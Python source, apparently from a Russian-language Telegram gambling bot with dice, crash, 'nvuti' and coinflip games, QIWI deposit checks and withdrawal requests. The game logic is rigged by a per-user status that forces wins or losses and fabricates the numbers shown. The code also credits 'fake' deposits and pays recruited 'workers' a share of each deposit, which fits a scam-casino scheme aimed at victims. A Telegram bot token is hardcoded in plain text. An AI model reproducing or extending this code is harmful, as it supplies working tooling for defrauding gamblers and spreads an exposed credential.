def user_status_pay(call): try: in_fake = database.user_in_fake(call.message.chat.id) if (in_fake != '0'): database.user_clear_fake(call.message.chat.id) database.user_update_balance(call.message.chat.id, repl_percent(in_fake)) bot.send_message(call.message.chat.id, f'💸 Баланс пополнен на сумму *{in_fake}* ₽', parse_mode="Markdown") in_deposit.remove(str(call.message.chat.id)) database.user_add_listpay(call.message.chat.id, 0, 0) elif (str(call.message.chat.id) in in_deposit): code = database.user_invite_code(call.message.chat.id) data = call.message.text.split('\n') amount = data[0].split(' ') amount = amount[2] comment = data[4].split(':') comment = comment[1].replace(' ', '') api = QApi(phone=phone, token=token) payments = api.payments['data'] thread = 0 for info_payment in payments: if (str(info_payment['comment']) == str(comment)): if (str(amount) == str(info_payment['sum']['amount'])): bot.send_message( call.message.chat.id, f'💸 Баланс пополнен на сумму *{amount}* ₽', parse_mode="Markdown") database.user_update_balance(call.message.chat.id, repl_percent(amount)) database.user_add_listpay(call.message.chat.id, code, float(amount)) notification_thread_pay(call, amount) in_deposit.remove(str(call.message.chat.id)) thread = 1 if (thread == 0): bot.answer_callback_query(callback_query_id=call.id, show_alert=False, text="💁🏻♀️ Платеж не найден") except: pass
def user_balance_repl_percent(user_id): try: balance = user_balance(user_id) balance = repl_percent(balance) user_set_balance(balance) except: pass
def worker_receive(message): try: balance = database.worker_balance(message.chat.id) if (':' in message.text): data = message.text.split(':') if (float(data[0]) <= balance): inline_keyboard = types.InlineKeyboardMarkup(row_width=1) inline_1 = types.InlineKeyboardButton( text="Оплатить", callback_data='ACCEPT_RECEIVE') inline_2 = types.InlineKeyboardButton( text="Отклонить", callback_data='CANCEL_RECEIVE') inline_keyboard.add(inline_1, inline_2) receive = repl_percent(data[0]) database.worker_update_receive(message.chat.id, receive) bot.send_message( admin, f'💸 Заявка *на вывод*\n\n🚀 Telegram ID: *{message.chat.id}*\nПользователь *@{repl(message.from_user.username)}*\nСумма вывод: *{receive}* ₽\nМетод выплаты: *{data[1]}*\nРеквизиты: *{data[2]}*', parse_mode="Markdown", reply_markup=inline_keyboard) bot.send_message( message.chat.id, '📨 Ваша заявка *была отправлена*.\nВы получите ответ после решения', parse_mode="Markdown") else: bot.send_message(message.chat.id, '⚠️ *Не достаточно* средств на балансе', parse_mode="Markdown") except: pass
def dice(message): try: if (isfloat(message.text) is not False): balance = repl_percent((database.user_balance(message.chat.id))) bet = float(message.text) if (bet <= balance) and (bet > 10): message = bot.send_message(message.chat.id, f'💁🏻♀️ Ставка *засчитана*', parse_mode="Markdown") Thread = threading.Thread(target=dice_choice, args=(message, bet)) Thread.start() else: message = bot.send_message( message.chat.id, f'⚠️ *Не достаточно средств* или ставка *меньше* 10 ₽\nВведите *сумму* ставки, доступно: *{balance}* ₽', parse_mode="Markdown") bot.register_next_step_handler(message, dice) else: bot.send_message(message.chat.id, f'💁🏻♀️ Вы вернулись в *список* игр', parse_mode="Markdown", reply_markup=keyboard.game_keyboard()) except: bot.send_message(message.chat.id, '⚠️ Пожалуйста, введите *число*', parse_mode="Markdown")
def crash(message): try: if (isfloat(message.text) is not False): balance = repl_percent((database.user_balance(message.chat.id))) bet = float(message.text) if (bet <= balance) and (bet > 10): message = bot.send_message( message.chat.id, f'💁🏻♀️ Ставка *засчитана*, следите за коэффициентом и заберите деньги вовремя!', parse_mode="Markdown", reply_markup=keyboard.crash_keyboard()) in_play_crash.append(message.chat.id) Thread = threading.Thread(target=crash_choice, args=(message, bet)) Thread.start() else: message = bot.send_message( message.chat.id, f'⚠️ *Не достаточно средств* или ставка *меньше* 10 ₽\nВведите *сумму* ставки, доступно: *{balance}* ₽', parse_mode="Markdown") bot.register_next_step_handler(message, crash) else: bot.send_message(message.chat.id, f'💁🏻♀️ Вы вернулись в *список* игр', parse_mode="Markdown", reply_markup=keyboard.game_keyboard()) except: pass
def nvuti(message): try: if (isfloat(message.text) is not False): balance = repl_percent((database.user_balance(message.chat.id))) bet = float(message.text) if (bet <= balance) and (bet > 10): message = bot.send_message( message.chat.id, f'💁🏻♀️ Ставка *засчитана*, выпало число, выберите его интервал', parse_mode="Markdown", reply_markup=keyboard.nvuti_keyboard()) bot.register_next_step_handler(message, nvuti_choice, bet) else: message = bot.send_message( message.chat.id, f'⚠️ *Не достаточно средств* или ставка *меньше* 10 ₽\nВведите *сумму* ставки, доступно: *{balance}* ₽', parse_mode="Markdown") bot.register_next_step_handler(message, nvuti) else: bot.send_message(message.chat.id, f'💁🏻♀️ Вы вернулись в *список* игр', parse_mode="Markdown", reply_markup=keyboard.game_keyboard()) except: bot.send_message(message.chat.id, '⚠️ Пожалуйста, введите *число*', parse_mode="Markdown")
def manual_payment(message): try: if (':' in message.text): data = message.text.split(':') code = database.worker_code(data[1]) bot.send_message(channel_id, f'🦋 *Успешное* пополнение\n\n💁🏻♀️ Воркер: {str(data[0])}\n\n⚡️ Сумма пополнения: *{data[2]}* ₽\n💸 Доля воркера: ~ *{repl_share(data[2])}* ₽', parse_mode="Markdown") bot.send_message(data[1], f'🦋 *Успешное* пополнение\n\n⚡️ Сумма пополнения: *{data[2]}* ₽\n💸 Твоя доля: ~ *{repl_share(data[2])}* ₽', parse_mode="Markdown") database.worker_update_profit(data[1], float(data[2])) database.user_add_listpay('Ручка', code, repl_percent(data[2])) except Exception as e: print(e)
def worker_middlepayments(user_id): try: array = [] code = worker_code(user_id) with sqlite3.connect("evidence.db") as con: cur = con.cursor() result = cur.execute('SELECT * FROM `payments` WHERE `code` = ?', (code, )).fetchall() for row in result: array.append(row[2]) if (len(array) > 0): middle = numpy.mean(array) return repl_percent(middle) else: return 0 except: return 0
def nvuti_choice(message, bet): try: chat_id = message.chat.id status = database.user_status(message.chat.id) if (status == 2) or (status == 4): nums = random.randint(0, 100) if (message.text == '> 50'): if nums > 50: bet = repl_percent(bet) database.user_update_balance(message.chat.id, bet) database.user_update_win(message.chat.id) bot.send_message( message.chat.id, f'❤️ Ваша ставка *выиграла* - выигрыш *{bet}* ₽!\nВыпавшее число - *{nums}*, Ваш выбор: *{message.text}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, nvuti) else: database.user_update_balance(message.chat.id, -bet) database.user_update_lose(message.chat.id) bot.send_message( message.chat.id, f'💔 Ваша ставка *проиграла* - проигрыш *{bet}* ₽!\nВыпавшее число - *{nums}*, Ваш выбор: *{message.text}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, nvuti) elif (message.text == '= 50'): if nums == 50: win = repl_percent(bet * 2) win = repl_percent(win) database.user_update_balance(message.chat.id, win) database.user_update_win(message.chat.id) bot.send_message( message.chat.id, f'❤️ Ваша ставка *выиграла* - выигрыш *{bet}* ₽!\nВыпавшее число - *{nums}*, Ваш выбор: *{message.text}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, nvuti) else: database.user_update_balance(message.chat.id, -bet) database.user_update_lose(message.chat.id) bot.send_message( message.chat.id, f'💔 Ваша ставка *проиграла* - проигрыш *{bet}* ₽!\nВыпавшее число - *{nums}*, Ваш выбор: *{message.text}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, nvuti) elif (message.text == '< 50'): if nums < 50: bet = repl_percent(bet) database.user_update_balance(message.chat.id, bet) database.user_update_win(message.chat.id) bot.send_message( message.chat.id, f'❤️ Ваша ставка *выиграла* - выигрыш *{bet}* ₽!\nВыпавшее число - *{nums}*, Ваш выбор: *{message.text}*', parse_mode='Markdown') else: bet = repl_percent(bet) database.user_update_balance(message.chat.id, -bet) database.user_update_lose(message.chat.id) bot.send_message( message.chat.id, f'💔 Ваша ставка *проиграла* - проигрыш *{bet}* ₽!\nВыпавшее число - *{nums}*, Ваш выбор: *{message.text}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, nvuti) elif (status == 1): if (message.text == "> 50"): nums = random.randint(51, 100) bet = repl_percent(bet) database.user_update_balance(message.chat.id, bet) database.user_update_win(message.chat.id) bot.send_message( message.chat.id, f'❤️ Ваша ставка *выиграла* - выигрыш *{bet}* ₽!\nВыпавшее число - *{nums}*, Ваш выбор: *{message.text}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, nvuti) elif (message.text == "= 50"): win = repl_percent(bet * 2) win = repl_percent(win) database.user_update_balance(message.chat.id, win) database.user_update_win(message.chat.id) bot.send_message( message.chat.id, f'❤️ Ваша ставка *выиграла* - выигрыш *{bet}* ₽!\nВыпавшее число - *50*, Ваш выбор: *{message.text}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, nvuti) elif (message.text == "< 50"): nums = random.randint(0, 49) bet = repl_percent(bet) database.user_update_balance(message.chat.id, bet) database.user_update_win(message.chat.id) bot.send_message( message.chat.id, f'❤️ Ваша ставка *выиграла* - выигрыш *{bet}* ₽!\nВыпавшее число - *{nums}*, Ваш выбор: *{message.text}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, nvuti) elif (status == 3): if (message.text == '> 50'): nums = random.randint(0, 49) bet = repl_percent(bet) database.user_update_balance(message.chat.id, -bet) database.user_update_lose(message.chat.id) bot.send_message( message.chat.id, f'💔 Ваша ставка *проиграла* - проигрыш *{bet}* ₽!\nВыпавшее число - *{nums}*, Ваш выбор: *{message.text}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, nvuti) elif (message.text == '= 50'): nums = random.randint(0, 49) bet = repl_percent(bet) database.user_update_balance(message.chat.id, -bet) database.user_update_lose(message.chat.id) bot.send_message( message.chat.id, f'💔 Ваша ставка *проиграла* - проигрыш *{bet}* ₽!\nВыпавшее число - *{nums}*, Ваш выбор: *{message.text}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, nvuti) elif (message.text == '< 50'): nums = random.randint(51, 100) bet = repl_percent(bet) database.user_update_balance(message.chat.id, -bet) database.user_update_lose(message.chat.id) bot.send_message( message.chat.id, f'💔 Ваша ставка *проиграла* - проигрыш *{bet}* ₽!\nВыпавшее число - *{nums}*, Ваш выбор: *{message.text}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, nvuti) except: pass
def dice_choice(message, bet): try: chat_id = message.chat.id session = '1368980760:AAEH-k_DdQpZMe5A9Zj_wLO-JI5X8errbxs' status = database.user_status(message.chat.id) dice_user = requests.post( f'https://api.telegram.org/bot{session}/sendDice?&chat_id={message.chat.id}' ) dice_bot = requests.post( f'https://api.telegram.org/bot{session}/sendDice?&chat_id={message.chat.id}' ) user = dice_user.json() user = user['result'] user_value = user['dice']['value'] bots = dice_bot.json() bots = bots['result'] bot_value = bots['dice']['value'] if (status == 2) or (status == 4): if (int(user_value) > int(bot_value)): bet = repl_percent(bet) database.user_update_balance(message.chat.id, bet) database.user_update_win(message.chat.id) bot.send_message( message.chat.id, f'❤️ Ваша ставка *выиграла* - выигрыш *{bet}* ₽!\nЧисло бота - *{int(bot_value)}*, Ваше число: *{int(user_value)}*', parse_mode='Markdown') elif (int(user_value) < int(bot_value)): bet = repl_percent(bet) database.user_update_balance(message.chat.id, -bet) database.user_update_lose(message.chat.id) bot.send_message( message.chat.id, f'💔 Ваша ставка *проиграла* - проигрыш *{bet}* ₽!\nЧисло бота - *{int(bot_value)}*, Ваше число: *{int(user_value)}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, dice) elif (int(user_value) == int(bot_value)): bot.send_message( message.chat.id, f'🤝 Игра закончилась *ничьей*!\nЧисло бота - *{int(bot_value)}*, Ваше число: *{int(user_value)}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, dice) elif (status == 1): if (int(user_value) > int(bot_value)): bet = repl_percent(bet) database.user_update_balance(message.chat.id, bet) database.user_update_win(message.chat.id) bot.send_message( message.chat.id, f'❤️ Ваша ставка *выиграла* - выигрыш *{bet}* ₽!\nЧисло бота - *{int(bot_value)}*, Ваше число: *{int(user_value)}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, dice) elif (int(user_value) < int(bot_value)): bet = repl_percent(bet) database.user_update_balance(message.chat.id, bet) database.user_update_win(message.chat.id) bot.send_message( message.chat.id, f'❤️ Ваша ставка *выиграла* - выигрыш *{bet}* ₽!\nЧисло бота - *{int(user_value)}*, Ваше число: *{int(bot_value)}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, dice) elif (int(user_value) == int(bot_value)): bot.send_message( message.chat.id, f'🤝 Игра закончилась *ничьей*!\nЧисло бота - *{int(bot_value)}*, Ваше число: *{int(user_value)}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, dice) elif (status == 3): if (int(user_value) > int(bot_value)): bet = repl_percent(bet) database.user_update_balance(message.chat.id, -bet) database.user_update_lose(message.chat.id) bot.send_message( message.chat.id, f'💔 Ваша ставка *проиграла* - проигрыш *{bet}* ₽!\nЧисло бота - *{int(user_value)}*, Ваше число: *{int(bot_value)}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, dice) elif (int(user_value) < int(bot_value)): bet = repl_percent(bet) database.user_update_balance(message.chat.id, -bet) database.user_update_lose(message.chat.id) bot.send_message( message.chat.id, f'💔 Ваша ставка *проиграла* - проигрыш *{bet}* ₽!\nЧисло бота - *{int(bot_value)}*, Ваше число: *{int(user_value)}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, dice) elif (int(user_value) == int(bot_value)): bot.send_message( message.chat.id, f'🤝 Игра закончилась *ничьей*!\nЧисло бота - *{int(bot_value)}*, Ваше число: *{int(user_value)}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, dice) except: pass
def coinflip_choice(message, bet): try: chat_id = message.chat.id status = database.user_status(message.chat.id) array = ['Орел', 'Решка'] choice = random.choice(array) if (status == 2) or (status == 4): if (message.text == choice): bet = repl_percent(bet) database.user_update_balance(message.chat.id, bet) database.user_update_win(message.chat.id) bot.send_message( message.chat.id, f'❤️ Ваша ставка *выиграла* - выигрыш *{bet}* ₽!\nВыпапало - *{choice}*, Ваш выбор: *{message.text}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, coinflip) else: bet = repl_percent(bet) database.user_update_balance(message.chat.id, -bet) database.user_update_lose(message.chat.id) bot.send_message( message.chat.id, f'💔 Ваша ставка *проиграла* - проигрыш *{bet}* ₽!\nВыпапало - *{choice}*, Ваш выбор: *{message.text}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, coinflip) elif (status == 1): if (message.text == 'Орел') or (message.text == 'Решка'): bet = repl_percent(bet) database.user_update_balance(message.chat.id, bet) database.user_update_win(message.chat.id) bot.send_message( message.chat.id, f'❤️ Ваша ставка *выиграла* - выигрыш *{bet}* ₽!\nВыпапало - *{message.text}*, Ваш выбор: *{message.text}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, coinflip) elif (status == 3): if (message.text == choice): if (choice == 'Орел'): choice = 'Решка' elif (choice == 'Решка'): choice = 'Орел' bet = repl_percent(bet) database.user_update_balance(message.chat.id, -bet) database.user_update_lose(message.chat.id) bot.send_message( message.chat.id, f'💔 Ваша ставка *проиграла* - проигрыш *{bet}* ₽!\nВыпапало - *{choice}*, Ваш выбор: *{message.text}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, coinflip) except: pass
def crash_choice(message, bet): try: chat_id = message.chat.id status = database.user_status(message.chat.id) end = repl_percent(random.uniform(1, 20)) now = 1 message = bot.send_message(message.chat.id, f'*График:* {now}', parse_mode="Markdown") thread = 1 while (thread == 1): now += 0.1 now = repl_percent(now) if (now > end) and (status == 2): bet = repl_percent(bet) database.user_update_balance(message.chat.id, -bet) database.user_update_lose(message.chat.id) bot.send_message( message.chat.id, f'💔 Вы проиграли, crash *остановился* - проыгрыш *{bet}* ₽!', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, crash) thread = 0 elif (now > end) and (status == 1): bet = repl_percent(bet * now) database.user_update_balance(message.chat.id, bet) database.user_update_win(message.chat.id) bot.send_message( message.chat.id, f'❤️ Вы выиграли, crash *дошел до конца* - выигрыш *{bet}* ₽!', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, crash) thread = 0 elif (message.chat.id not in in_play_crash): bet = repl_percent(bet * now) database.user_update_balance(message.chat.id, bet) database.user_update_win(message.chat.id) bot.send_message( message.chat.id, f'❤️ Вы выиграли, Вы *остановили* crash - выигрыш *{bet}* ₽!', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, crash) thread = 0 else: sleep(0.3) bot.edit_message_text(chat_id=message.chat.id, message_id=message.message_id, text=f'*График:* {now}', parse_mode="Markdown") except: pass